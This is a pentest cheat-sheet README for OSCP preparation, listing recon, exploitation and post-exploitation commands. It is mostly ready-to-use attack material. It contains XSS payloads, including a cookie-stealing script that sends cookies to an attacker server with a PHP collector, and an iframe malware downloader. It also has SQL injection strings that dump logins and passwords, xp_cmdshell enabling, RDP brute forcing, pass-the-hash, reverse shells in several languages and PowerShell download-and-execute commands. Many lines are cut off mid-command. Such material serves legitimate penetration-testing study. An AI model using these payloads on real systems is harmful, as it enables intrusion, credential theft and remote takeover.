



## Pentest-Cheat-Sheets

This repo has a collection of snippets of codes and commands to help our lives! The main purpose is not be a crutch, this is a way to do not waste our precious time! This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit Framework.

## Ninja Tricks

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# Recon

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## DNS

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### Nslookup

Resolve a given hostname to the corresponding IP.

```
nslookup targetorganization.com
```

### Reverse DNS lookup

```
nslookup -type=PTR IP_address
```

### MX(Mail Exchange) lookup

```
nslookup -type=MX domain
```

### Zone Transfer

#### Using nslookup Command

```
nslookup  
server domain.com
```

```
ls -d domain.com
```

## Using HOST Command

```
host -t ns(Name Server) < domain >
```

```
host -t ns domain.com
```

after that test nameservers

```
host -l < domain > < nameserver >
```

```
host -l domain.com ns2.domain.com
```

## Nmap Dns Enumaration

```
nmap -F --dns-server <dns server ip> <target ip range>
```

## Auto tools

### DNSenum

```
dnsenum targetdomain.com
```

```
dnsenum --target_domain_subs.txt -v -f dns.txt -u a -r targetdomain.com
```

### DNSmap

```
targetdomain.com
```

```
dnsmap targetdomain.com -w <Wordlst file.txt>
```

Brute Force, the file is saved in /tmp

```
dnsmap targetdomain.com -r
```

## DNSRecon DNS Brute Force

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml
```

## Fierce.pl

```
fierce -dns targetdomain.com
```

## HostMap

```
hostmap.rb -only-passive -t <IP>
```

We can use -with-zonetransfer or -bruteforce-level

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## SPF Recon

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### Dig SPF txt

```
dig txt target.com
```

### Dmarc

```
dig TXT _dmarc.example.org
```

### Online Tools

- <https://dnsdumpster.com/>
  - <https://network-tools.com/nslookup/>
  - <https://www.dnsqueries.com/en/>
  - <https://mxtoolbox.com/>
- 

## Nmap

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Set the ip address as a variable

```
export ip=192.168.1.100 export netw=192.168.1.0/24
```

## Detecting Live Hosts

Only Ip's

```
nmap -sn -n $netw | grep for | cut -d" " -f5
```

## Stealth Scan

```
nmap -sS $ip
```

Only Open Ports and Banner Grab

```
nmap -n -Pn -sS $ip --open -sV
```

Stealth scan using FIN Scan

```
map -sF $ip
```

## Agressive scan

Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

```
nmap -n -Pn -sS -A $ip --open -p-
```

Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services

```
nmap -v -sS -A -T4 $ip
```

## OS FigerPrint

```
nmap -O $ip
```

## Quick Scan

```
nmap -T4 -F $netw
```

## Quick Scan Plus

```
nmap -sV -T4 -0 -F --version-light $netw
```

## output to a file

```
nmap -oN nameFile -p 1-65535 -sV -sS -A -T4 $ip
```

## output to a file Plus

```
nmap -oA nameFile -p 1-65535 -sV -sS -A -T4 $netw
```

## Search NMAP scripts

```
ls /usr/share/nmap/scripts/ | grep ftp
```

- [Nmap Discovery](#)

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# NetCat

## Port Scanner

One port

```
nc -nvz 192.168.1.23 80
```

Port Range

```
nc -vnz 192.168.1.23 0-1000
```

## Send files

- Server

```
nc -lvp 1234 > file_name_to_save
```

- Client

```
nc -vn 192.168.1.33 1234 < file_to_send
```

## Executing remote script

- Server

```
nc -lvp 1234 -e ping.sh <IP>
```

- Client

```
nc -vn 192.168.1.33 1234
```

## Chat with encryption

- Server

```
ncat -nlvp 8000 --ssl
```

- Client

```
ncat -nv 192.168.1.33 8000
```

## Banner Grabbing

- Request

```
nc target port
HTTP_Verb path http/version
Host: url
```

- Response



```
nc www.bla.com.br 80
HEAD / HTTP/1.0
Host: www.bla.com.br
```

## If this site uses https you need to use openssl

```
openssl s_client -quiet www.bla.com.br:443
```

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## SNMP

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### Fixing SNMP output

```
apt-get install snmp-mibs-downloader download-mibs
```

```
echo "" > /etc/snmp/snmp.conf
```

## OneSixtyone

```
onesixtyone -c COMMUNITY_FILE -i Target_ip
```

```
onesixtyone -c community.txt -i Found_ips.txt
```

## snmpwalk

Walking MIB's

```
snmpwalk -c COMMUNITY -v VERSION target_ip
```

```
snmpwalk -c public -v1 192.168.25.77
```

specific MIB node `snmpwalk -c community -v version Target IP MIB Node Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25`

```
snmpwalk -c public -v1 192.168.25.77 1.3.6.1.4.1.77.1.2.25
```

## snmp-check

```
snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY
```

```
snmp-check -t 172.20.10.5
```

```
snmp-check -t 172.20.10.5 -c public
```

## Automate the username enumeration process for SNMPv3

```
apt-get install snmp snmp-mibs-downloader
```

```
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.r
```

## NMAP SNMPv3 Enumeration

```
nmap -sV -p 161 --script=snmp-info 172.20.10.0/24
```

## Default Credentials

```
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
```

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## MYSQL

### Try remote default Root access

Mysql Open to wild

```
mysql -h Target_ip -u root -p
```

## MSSQL

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## MSQL Information Gathering

```
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql
```

## Web Enumeration

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### Dirsearch

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old
```

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old -w path/to/wordlist
```

```
dirsearch -u https://target.com -e .
```

### dirb

```
dirb http://target.com /path/to/wordlist
```

```
dirb http://target.com /path/to/wordlist -X .sh,.txt,.htm,.php,.cgi,.html,.pl,.ba
```

### Gobuster

```
gobuster -u https://target.com -w /usr/share/wordlists/dirb/big.txt
```

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## Exploitation

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### System Network

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### RDP

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# xfreerdp

## Simple User Enumeration for Windows Target (kerberos based)

```
xfreerdp /v:<target_ip> -sec-nla /u:""
```

```
xfreerdp /v:192.168.0.32 -sec-nla /u:""
```

## login

```
xfreerdp /u: /g: /p: /v:<target_ip>
```

```
xfreerdp /u:administrator /g:grandbussiness /p:bla /v:192.168.1.34
```

## Wordlist based bruteforce

### NCRACK

```
ncrack -vv --user/-U <username/username_wordlist> --pass/-P <password/password_wordlist>  
<target_ip>:3389
```

```
ncrack -vv --user user -P wordlist.txt 192.168.0.32:3389
```

### Crowbar

```
crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s  
<target_ip>/32 -v
```

```
crowbar -b rdp -u user -C password_wordlist -s 192.168.0.16/32 -v
```

## Pass the hash

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### Smb pass the hash

Tool:

[pth-toolkit](#)

## Listing shared folders

```
sudo pth-smbclient --user= --pw-nt-hash -m smb3 -L <target_ip> \\<>target_ip>\
```

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3 -L 192.168.0.24 \\\192.168.
```

## Interactive smb shell

```
sudo pth-smbclient --user= --pw-nt-hash -m smb3 \\<>target_ip>\shared_folder
```

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3 \\\192.168.0.24\\folder ljah
```

## Web Application

---

### Web Remote code

### LFI (Local File Inclusion)

Situation

```
http://<target>/index.php?parameter=value
```

### How to Test

```
http://<target>/index.php?parameter=php://filter/convert.base64-encode/resource=i
```

```
http://<target>/script.php?page=../../../../../../../../etc/passwd
```

```
http://<target>/script.php?page=../../../../../../../../boot.ini
```

### LFI Payloads

- [Payload All the Things](#)
- [Seclist LFI Intruder](#)

encode

# XSS

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## Reflected

### Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

```
<plaintext>
```

### Simple XSS test

```
<script>alert('Found')</script>
```

```
"><script>alert(Found)</script>">
```

```
<script>alert(String.fromCharCode(88,83,83))</script>
```

### Bypass filter of tag script

```
" onload="alert(String.fromCharCode(88,83,83))
```

```
" onload="alert('XSS')
```

bla is not a valid image, so this cause an error

```
<img src='bla' onerror=alert("XSS")>
```

## Persistent

```
>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visib
```

## PHP collector

```
> cookie.txt  chmod 777 cookie.txt
```

edit a php page like colector.php as follow:

```
<?php
$cookie=GET['cookie'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie.txt', 'a');
fwrite($file,"USER AGENT:$useragent || COOKIE=$cookie\n");
fclose($file);
?>
```

Script to put in page:

```
<script>new Image().src="http://OUR_SERVER_IP/colector.php?cookie="+document.cookie
```

## Malware Donwloader via XSS

```
<iframe src="http://OUR_SERVER_IP/OUR_MALWARE" height="0" width="0"></iframe>
```

## How to play Mario with XSS

```
<iframe
src="https://jcw87.github.io/c2-smb1/"
width="100%"
height="600"
></iframe>
```

```
<input onfocus="document.body.innerHTML=atob('PGlmcmFtZSBzcmM9Imh0dHBzOi8vamN3ODc')
```

## XSS payloads

- [Payload All The Things](#)
- [Seclist XSS](#)

# SQLI

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## Sql Injection

# Sqlmap

## GET

### Error-Based

#### Simple test

Adding a simple quote '

Example:

```
http://192.168.1.104/Less-1/?id=5'
```

#### List databases

```
./sqlmap.py -u http://localhost/Less-1/?id=1 --dbs
```

#### List tables

```
./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name --tables
```

#### List columns

```
./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name -T table_name --col
```

#### Dump all

```
./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name -T table_name --dum
```

#### Set Cookie

```
./sqlmap.py -u http://target/ovidentia/index.php?tg\=delegat\&idx\=mem\&id\=1 --
```

#### Checking Privileges

```
./sqlmap.py -u http://localhost/Less-1/?id=1 --privileges | grep FILE
```



## Reading file

```
./sqlmap.py -u <URL> --file-read=<file to read>
```

```
./sqlmap.py -u http://localhost/Less-1/?id=1 --file-read=/etc/passwd
```

## Writing file

```
./sqlmap.py -u <url> --file-write=<file> --file-dest=<path>
```

```
./sqlmap.py -u http://localhost/Less-1/?id=1 --file-write=shell.php --file-dest=/
```

## POST

```
./sqlmap.py -u <POST-URL> --data="<POST-paramters> "
```

```
./sqlmap.py -u http://localhost/Less-11/ --data "uname=teste&passwd=&submit=Submi
```

You can also use a file like with the post request:

```
./sqlmap.py -r post-request.txt -p uname
```

## Bare Hands

### GET

### Error-Based

### Simple test

Adding a simple quote '

Example:

```
http://192.168.1.104/Less-1/?id=5'
```

## Fuzzing

Sorting columns to find maximum column

```
http://192.168.1.104/Less-1/?id=-1 order by 1
```

```
http://192.168.1.104/Less-1/?id=-1 order by 2
```

```
http://192.168.1.104/Less-1/?id=-1 order by 3
```

(until it stop returning errors)

## Finding what column is injectable

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, 3
```

(using the same amount of columns you got on the previous step)

### postgresql

```
http://192.168.1.104/Less-1/?id=-1 union select NULL, NULL, NULL
```

(using the same amount of columns you got on the previous step)

one of the columns will be printed with the respective number

## Finding version

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, version()
```

### postgres

```
http://192.168.1.104/Less-1/?id=-1 union select NULL, NULL, version()
```

## Finding database name

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1,2, database()
```

### postgres

```
http://192.168.1.104/Less-1/?id=-1 union select NULL,NULL, database()
```

## Finding usernames logged in

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, current_user()
```

## Finding databases

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, schema_name from  
information_schema.schemata
```

### postgres

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, datname from pg_database
```

## Finding table names from a database

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, table_name from information
```

### postgres

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables wh
```

## Finding column names from a table

### mysql

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from informatio
```

### postgres

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from informatio
```

## Concatenate

Example:

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, login from users;
```

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, password from users;
```

in one query

```
http://192.168.1.104/Less-1/?id=-1 union select 1, 2, concat(login,':',password)
from users; mysql http://192.168.1.104/Less-1/?id=-1 union select 1, 2,
login||':'||password from users; postgres
```

## Error Based SQLI (USUALLY MS-SQL)

### Current user

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as
varchar(4096)))--
```

### DBMS version

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as
varchar(4096)))--
```

### Database name

```
http://192.168.1.104/Less-1/?id=-1 or db_name(0)=0 --
```

### Tables from a database

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as
varchar(4096)) FROM dbname..sysobjects where xtype='U')--
```

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as
varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN
('previouslyFoundTable',...))--
```

### Columns within a table

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1
CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns,
dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND
dbname..sysobjects.name = 'tablename')--
```

remember to change **dbname** and **tablename** accordingly with the given situation after each iteration a new column name will be found, make sure add it to **\*\* previously found column name \*\*** separated by comma as on the next sample

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1  
CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns,  
dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND  
dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT  
IN('previously found column name', ...))--
```

### Actual data

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as  
varchar(4096)) FROM tablename)--
```

after each iteration a new column name will be found, make sure add it to **\*\* previously found column name \*\*** separated by comma as on the next sample

```
http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as  
varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--
```

### Shell commands

```
EXEC master..xp_cmdshell <command>
```

you need to be 'sa' user

### Enabling shell commands

```
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure  
'xp_shell', 1; RECONFIGURE;
```

## Jenkins

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# Post Exploitation

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## Reverse Shell

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### PHP Reverse Shell

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

## Tiny Reverse Shell

```
<?php  
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.36.167/1337 0>&1'");
```

## Perl Reverse Shell

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotoby
```

## Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
```

## Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
```

## Bash Reverse Shell

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

## Powershell Reverse Shell

Create a simple powershell script called reverse.ps1:

```
function reverse_powershell {  
    $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream =  
}
```

```
powershell -ExecutionPolicy bypass -command "Import-Module reverse.ps1; reverse_p
```

## Java Reverse Shell

```
r = Runtime.getRuntime()  
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read  
p.waitFor()
```

## Xterm Reverse Shell

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

```
Xnest :1
```

You'll need to authorise the target to connect to you (command also run on your host):

```
xhost +targetip
```

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## Linux

## Windows

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### Transferring Files Without Metasploit

#### Powershell

Download files with powershell

```
powershell -c "Invoke-WebRequest -uri 'http://Your-IP:Your-Port/winPEAS.bat' -Out
```

```
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port')
```

```
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell')
```

Creating a server with python3

```
python -m http.server
```

Creating a server with python2

```
python -m SimpleHTTPServer 80
```

## FTP

You need to create a FTP server

- Server Linux Allow anonymous

```
python -m pyftplib -p 21 -u anonymous -P anonymous
```

- Windows Client

```
ftp
open target_ip port
open 192.168.1.22 21
```

we can simply run `ftp -s:ftp_commands.txt` and we can download a file with no user interaction.

like this:

```
C:\Users\kitsunesec\Desktop>echo open 10.9.122.8>ftp_commands.txt
C:\Users\kitsunesec\Desktop>echo anonymous>>ftp_commands.txt
C:\Users\kitsunesec\Desktop>echo whatever>>ftp_commands.txt
C:\Users\kitsunesec\Desktop>ftp -s:ftp_commands.txt
```

## Apache Server

- server Put your files into `/var/www/html`



```
cp nc.exe /var/www/html
systemctl start apache2
```

- client

Get via web browser, wget or powershell...

## Windows Pivoting

### Openssh for Tunneling

Once you got SYSTEM on the target machine. download: [openssh\\_for\\_windows](#)

```
powershell -command "Expand-Archive 'C:\<path-to-zipped-openssh>\openssh.zip' c:\
```

Then install it:

```
powershell -ExecutionPolicy Bypass -File c:\<path-to-unzipped-openssh-folder>\ins
```

Now if you need, just adjust the firewall rules to your needs:

```
powershell -Command "New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server
```

Start the sshd service:

```
net start sshd
```

After these steps a regular ssh tunnel would suffice:

From your linux machine:

```
$ ssh -ACv -D <tunnel_port> <windows-user>@<windows-ip>
```

done you have now a socks to tunnel through!!

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## Resources

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## HTTP/HTTPS Servers

### HTTPS using Python

#### Create the Certificate:

```
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

#### Start the HTTPS Server

```
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRe
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_sid
httpd.serve_forever()
```

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## Wordlists

- Wordlists
  - [PacketStorm](#)
  - [SecList](#)
  - [cotse](#)
- Default Password
  - [DefaultPassword](#)
  - [RouterPassword](#)
- Leak
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- Tables
  - [RainbowCrack](#)

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## Contribution

### HOW TO